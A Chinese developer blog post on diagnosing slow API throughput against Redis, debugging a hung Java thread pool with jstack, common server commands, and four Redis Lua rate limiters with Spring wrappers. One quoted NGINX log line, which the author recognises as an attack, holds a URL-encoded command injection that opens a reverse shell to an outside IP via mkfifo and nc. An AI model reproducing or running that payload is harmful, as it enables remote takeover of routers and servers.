性能测试

服务器硬件配置是 2 核 2 GB 内存,对 Redis Get 命令进行基准测试的 RPS 是 7w+,而应用程序接口会将数据缓存到 Redis,即使每次都命中缓存 RPS 却只有 1k+。

1
2
3
4
5
6
7
8
9
$ lscpu
Architecture: x86_64
CPU(s): 2
CPU MHz: 2499.998

$ free -h
total used free shared buff/cache available
Mem: 1.8Gi 1.3Gi 140Mi 1.0Mi 551Mi 545Mi
Swap: 0B 0B 0B
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ redis-benchmark -t get -c 50 -n 100000 -d 8 -P 1
====== GET ======
100000 requests completed in 1.41 seconds
50 parallel clients
8 bytes payload
keep alive: 1
host configuration "save": 3600 1 300 100 60 10000
host configuration "appendonly": no
multi-thread: no

Summary:
throughput summary: 70972.32 requests per second
latency summary (msec):
avg min p50 p95 p99 max
0.478 0.144 0.407 0.863 1.183 10.327
1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ wrk -t4 -c100 -d30s --latency http://127.0.0.1:8080/predict/biweekly-contest-152/1/25
Running 30s test @ http://127.0.0.1:8080/predict/biweekly-contest-152/1/25
4 threads and 100 connections
Thread Stats Avg Stdev Max +/- Stdev
Latency 75.57ms 32.14ms 490.57ms 85.10%
Req/Sec 337.43 69.15 530.00 76.79%
Latency Distribution
50% 71.32ms
75% 85.89ms
90% 103.88ms
99% 201.92ms
40414 requests in 30.11s, 269.38MB read
Requests/sec: 1342.26
Transfer/sec: 8.95MB

线程阻塞在 at sun.nio.ch.SocketDispatcher.read0

问题排查

定时任务一直没有完成,使用 jpsjstack -l [PID] 查看线程状态,使用 jstack.review 分析转储文件。发现线程池的线程阻塞在本地方法中,然后查看 Hutool 的文档,发现默认配置下 HTTP 请求是不会超时的,设置超时时间应该可以解决这个问题。(参考 How to Analyze Java Thread Dumps

1
2
3
"pool-41-thread-2" #226773 prio=5 os_prio=0 cpu=6566.92ms elapsed=506952.44s tid=0x00007f66ec022640 nid=0x6188f runnable  [0x00007f66f98ea000]
java.lang.Thread.State: RUNNABLE
at sun.nio.ch.SocketDispatcher.read0(java.base@17.0.12/Native Method)

另外,使用 top -H -p [PID] 命令,可以查看指定进程的线程状态,发现都是 S 状态。使用 netstat -antp 可以查看 TCP 连接状态。顺便看下 NGINX 日志,发现有不少奇怪的请求,应该是攻击请求,不过没什么影响。

1
2
196.251.69.180 - - [15/Mar/2025:10:00:32 +0800] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=%24%28rm+%2Ftmp%2Ff%3Bmkfifo+%2Ftmp%2Ff%3Bcat+%2Ftmp%2Ff%7C%2Fbin%2Fsh+-i+2%3E%261%7Cnc+196.251.69.180+61781+%3E%2Ftmp%2Ff%
29 HTTP/1.1" 200 760 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" "-"

常用命令

1
2
3
4
5
6
7
8
uname -m, whoami, pwd, jobs, ctrl-z + [bg | fg]
wget, scp, tar -xvf [file], curl -X POST [url]
systemctl [start | stop | restart | status] xxx
nohup java -jar xxx.jar > /dev/null 2>&1 &
ps -aux | grep xxx, kill [pid]
top -H -p [pid], netstat -antp
jps, jstack -l [pid], jmap -dump:format=b,file=heap.hprof [pid]
jmeter -n -t "xxx.jmx", jmeter -g result.jtl -o result

使用 Redis 实现四种限流算法

固定窗口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
local key = KEYS[1]
local maxRequests = tonumber(ARGV[1])
local windowSize = tonumber(ARGV[2])

local count = tonumber(redis.call('get', key))

if not count then
redis.call('SET', key, 1, 'EX', windowSize)
return true
end

if count < maxRequests then
redis.call('INCR', key)
return true
end

return false
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
@Component
public class FixedWindowRateLimiter {

@Autowired
private RedisTemplate<String, Object> redisTemplate;

private static final String RATE_LIMIT_KEY_PREFIX = "rate_limit:fixed:";

/**
* 固定窗口限流
*
* @param key 限流 key
* @param maxRequests 最大请求数
* @param windowSize 窗口大小(秒)
* @return 是否允许通过
*/
public boolean tryAcquire(String key, int maxRequests, int windowSize) {
key = RATE_LIMIT_KEY_PREFIX + key;
DefaultRedisScript<Boolean> script = new DefaultRedisScript<>();
script.setScriptSource(new ResourceScriptSource(new ClassPathResource("scripts/rateLimit.lua")));
script.setResultType(Boolean.class);
Boolean ok = redisTemplate.execute(script, List.of(key), maxRequests, windowSize);
return Objects.equals(ok, Boolean.TRUE);
}
}

滑动窗口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
local key = KEYS[1]
local maxRequests = tonumber(ARGV[1])
local windowSize = tonumber(ARGV[2])
local currentTime = tonumber(ARGV[3])
local windowStart = tonumber(ARGV[4])

redis.call('ZREMRANGEBYSCORE', key, 0, windowStart)

local count = redis.call('ZCARD', key)

if count < maxRequests then
redis.call('ZADD', key, currentTime, currentTime)
redis.call('EXPIRE', key, windowSize)
return true
end

return false
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
@Component
public class SlidingWindowRateLimiter {

@Autowired
private RedisTemplate<String, Object> redisTemplate;

private static final String RATE_LIMIT_KEY_PREFIX = "rate_limit:sliding:";

/**
* 滑动窗口限流
*
* @param key 限流 key
* @param maxRequests 最大请求数
* @param windowSize 窗口大小(秒)
* @return 是否允许通过
*/
public boolean tryAcquire(String key, int maxRequests, int windowSize) {
key = RATE_LIMIT_KEY_PREFIX + key;
long currentTime = System.currentTimeMillis();
long windowStart = currentTime - windowSize * 1000L;
DefaultRedisScript<Boolean> script = new DefaultRedisScript<>();
script.setScriptSource(new ResourceScriptSource(new ClassPathResource("scripts/rateLimit.lua")));
script.setResultType(Boolean.class);
Boolean ok = redisTemplate.execute(script, List.of(key), maxRequests, windowSize, currentTime, windowStart);
return Objects.equals(ok, Boolean.TRUE);
}
}

漏桶

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
local key = KEYS[1]
local rate = tonumber(ARGV[1])
local currentTime = tonumber(ARGV[2])

local nextAvailableTime = tonumber(redis.call('GET', key))

if not nextAvailableTime or currentTime > nextAvailableTime then
nextAvailableTime = currentTime
end

local intervalMs = math.ceil(1000 / rate)
local waitTime = nextAvailableTime - currentTime
nextAvailableTime = nextAvailableTime + intervalMs
redis.call('SET', key, nextAvailableTime, 'PX', (nextAvailableTime - currentTime))

return waitTime
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
@Component
public class LeakyBucketRateLimiter {

@Autowired
private RedisTemplate<String, Object> redisTemplate;

private static final String RATE_LIMIT_KEY_PREFIX = "rate_limit:leaky:";

/**
* 漏桶算法限流
*
* @param key 限流 key
* @param rate 流出速率(请求/秒)
* @return 是否允许通过
*/
public boolean acquire(String key, int rate) throws InterruptedException {
key = RATE_LIMIT_KEY_PREFIX + key;
long currentTime = System.currentTimeMillis();
DefaultRedisScript<Long> script = new DefaultRedisScript<>();
script.setScriptSource(new ResourceScriptSource(new ClassPathResource("scripts/rateLimit.lua")));
script.setResultType(Long.class);
Long waitTime = redisTemplate.execute(script, List.of(key), rate, currentTime);
assert waitTime != null;
Thread.sleep(waitTime);
return true;
}
}

令牌桶

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
local key = KEYS[1]
local capacity = tonumber(ARGV[1])
local rate = tonumber(ARGV[2])
local currentTime = tonumber(ARGV[3])

local bucket = redis.call('HMGET', key, 'tokens', 'lastTime')
local tokens = capacity

if bucket[1] and bucket[2] then
tokens = tonumber(bucket[1])
local lastTime = tonumber(bucket[2])

local newTokens = math.floor((currentTime - lastTime) * rate / 1000)
tokens = math.min(capacity, tokens + newTokens)
end

if tokens >= 1 then
tokens = tokens - 1
redis.call('HSET', key, 'tokens', tokens, 'lastTime', currentTime)
redis.call('EXPIRE', key, math.ceil(capacity / rate))
return true
end

return false
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
@Component
public class TokenBucketRateLimiter {

@Autowired
private RedisTemplate<String, Object> redisTemplate;

private static final String RATE_LIMIT_KEY_PREFIX = "rate_limit:token:";

/**
* 令牌桶限流
*
* @param key 限流key
* @param capacity 桶容量
* @param rate 令牌生成速率(令牌/秒)
* @return 是否允许通过
*/
public boolean tryAcquire(String key, int capacity, int rate) {
key = RATE_LIMIT_KEY_PREFIX + key;
long currentTime = System.currentTimeMillis();
DefaultRedisScript<Boolean> script = new DefaultRedisScript<>();
script.setScriptSource(new ResourceScriptSource(new ClassPathResource("scripts/rateLimit.lua")));
script.setResultType(Boolean.class);
Boolean ok = redisTemplate.execute(script, List.of(key), capacity, rate, currentTime);
return Objects.equals(ok, Boolean.TRUE);
}
}